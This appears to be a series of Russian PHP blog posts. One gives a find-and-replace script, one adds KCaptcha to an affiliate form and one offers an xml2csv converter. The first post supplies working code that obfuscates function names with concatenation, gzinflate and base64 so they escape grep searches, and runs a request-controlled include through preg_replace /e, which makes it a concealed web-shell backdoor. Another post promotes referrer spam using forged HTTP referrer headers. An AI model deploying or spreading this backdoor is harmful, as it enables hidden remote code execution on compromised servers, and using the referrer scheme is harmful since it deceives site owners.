Задача: Сделать возможность вызова функций system, passthru, exec и т.д. так, чтобы в коде не было упоминания имен этих функций, то есть, чтобы при поиске по исходникам (grep -rl ‘function‘ /path) данные функции не светились.

Немного поломав мозг, пришел к такому решению:

// функции для выполнения
$funcs = array(
	'g'.'z'.'i'.'n'.'f'.'l'.'a'.'t'.'e',
	'b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e',
	'p'.'h'.'p'.'i'.'n'.'f'.'o'
);
 
$strng = 'KyhKLUtNAQA='; # прогнанный через gzinflate base64 хэш имени функции (preved)

function preved() {
############## Здесь любой код для выполнения ############
	(isset($_REQUEST['c'])) ? include($_REQUEST['c']) : die();
###########################################################
}
 
function test() {
		global $funcs, $strng;
		$result = $funcs[0]($funcs[1]($strng));
	return $result(); // заменить на $func[X], если не нужно вызывать функцию preved()
}
echo preg_replace("/123/e",test(),456);

Как видно из листинга, скрипт использует баг в функции preg_replace() с флагом /e. Разобраться с ним не сложно.
В результате получился скрипт, который может выполнять практически любые функции, кроме eval(), так как:

это языковая конструкция, а не функция, она не может вызываться при помощи переменных функций (c) мануал

Единственный минус – можно выполнить поиск по имени функции preg_replace(), но ее можно зашифровать аналогично примерам из скрипта или любым другим способом.

P.S. На этой неделе собираюсь на море, надеюсь погода не подкачает

$pages = glob("/home/user/public_html/files/*");
$chto = 'hello world!';
$nachto = 'привет, мир!';
foreach($pages as $page)
	if(!substr_count((string)$page, 'index.php')) {
	$data = file_get_contents($page);
    $data = str_ireplace($chto, $nachto, $data);
	file_put_contents($page, $data);
}

Ничего сложного, но если бы не скрипт – много бы было возни лишней.

А что, надо это как-то использовать. А как использовать? Правильно, брать базу тематичных сайтов и слать по ним http запросы с поддельным referrer’ом.

Натолкнуло на мысль давно, но как-то не придавал этому значение. А тут в ежедневной статистике блога вижу один и тот же url сайта, с которого идут переходы, хотя активной ссылки на ресурсе нет.
Вот для примера:

Понятное дело, что приток трафика будет совсем не большой, да и тот «админский»

Как такое реализовать? Достаем базу тематичных сайтов/блогов, пишем скрипт, который бы слал запросы с поддельным http_referrer на эти сайты. Кому интересно – могу выложить скрипт.

P.S. Сегодня приятно удивился, когда увидел на страницах журнала ][akep анонс своего скрипта, который написал еще два с лишним года назад. Приятно, черт возьми…

С недавних пор тоже озадачился этой проблемой и сейчас расскажу как я ее решил.
Начну с того, что страница с формой заявки находится на поддомене одного из моих сайтов. То есть, кроме этой формы на странице больше ничего нет. Так что буду описывать все исходя из этих данных.

Прикручиваем KCaptcha к этой форме. Итак, для начала скачаем архив с kcaptcha к себе и распакуем его. В итоге, увидим такую картину:

/
  include
  captcha.php

Затем открываем /include/kcaptcha_config.php и изменяем все по вкусу. Теперь в той же директории, что и kcaptcha, создадим файлы:

/
  index.php
  func.js

В index.php в самом начале добавляем

Далее, добавляем перед формой партнерки

Вы неверно ввели код с картинки.");
	} else {
	$doctor = $_POST['doctor'];
	$region = $_POST['region'];
	$name = $_POST['name'];
	$phoneprefix = $_POST['phoneprefix'];
	$phone = $_POST['phone'];
	$comment = $_POST['comment'];
	$programID = $_POST['programID'];
	$partnerID = $_POST['partnerID'];
		// посылаем http запрос на http://partner.8088.ru/query.php
		$curl = curl_init(); // инициализируем cURL
		// А дальше устанавливаем опции запроса в любом порядке
		curl_setopt($curl, CURLOPT_URL, 'http://partner.8088.ru/query.php'); // Здесь устанавливаем URL к которому нужно обращаться
		curl_setopt($curl, CURLOPT_FAILONERROR, 1);
		curl_setopt($curl, CURLOPT_TIMEOUT, 3); // устанавливаем таймаут в секундах
		curl_setopt($curl, CURLOPT_POST, 1); // устанавливаем метод POST
		curl_setopt($curl, CURLOPT_POSTFIELDS, "doctor=$doctor&region=$region&name=$name&phoneprefix=$phoneprefix&phone=$phone&comment=$comment&programID=$programID&partnerID=$partnerID"); // сам POST запрос
		curl_exec($curl);
		//$result = curl_exec($curl); // выполняем запрос и записываем в переменную
		curl_close($curl); // заканчиваем работу curl
		die();
		//echo $result; // собственно печатаем результат
	}
}
?>

Теперь в форму партнерки добавим одну строчку

echo '
 
Введите число с картинки
 
<input name="keystring" size="10" type="text" /><img src="captcha.php?'.session_name().'='.session_id().'" alt="" />';

Вот в общем-то и все. Скачать посмотреть пример реализации можно здесь. Не забудьте в форме заменить XXXX на ваш партнерскй id.

Xml2csv

Шаг 1

Просто жмем на ссылку «Скачать файлы с сервера» и ждем. Если у вас свои xml файлы, пропускаем этот шаг.

Шаг 2

Когда у нас все закачалось, выбираем из списка нужный файл (можно выбрать все сразу) и жмем «Конверт».

Получаем примерно такой результат:

Вот, собственно, и все. Теперь немного о том, как его натсроить. Открываем xml2csv.php, видим там строчки:

$folder = 'files'; // папка с файлами xml (нужны права на запись)
$delimiter = '^'; // разделитель для данных csv

Изменяем по вкусу и сохраняем. Вот и все настройки
Скрипт использует XPath язык запросов для работы с XML. Так же для работы скрипта необходимы права на запись в директорию, в которой лежит скрипт, в директорию files и необходимы права на удаленные соединения (не обязательно, если xml файлы вы закачиваете сами).
Писал на скорую руку, так что сильно не пинайте

Скачать xml2csv converter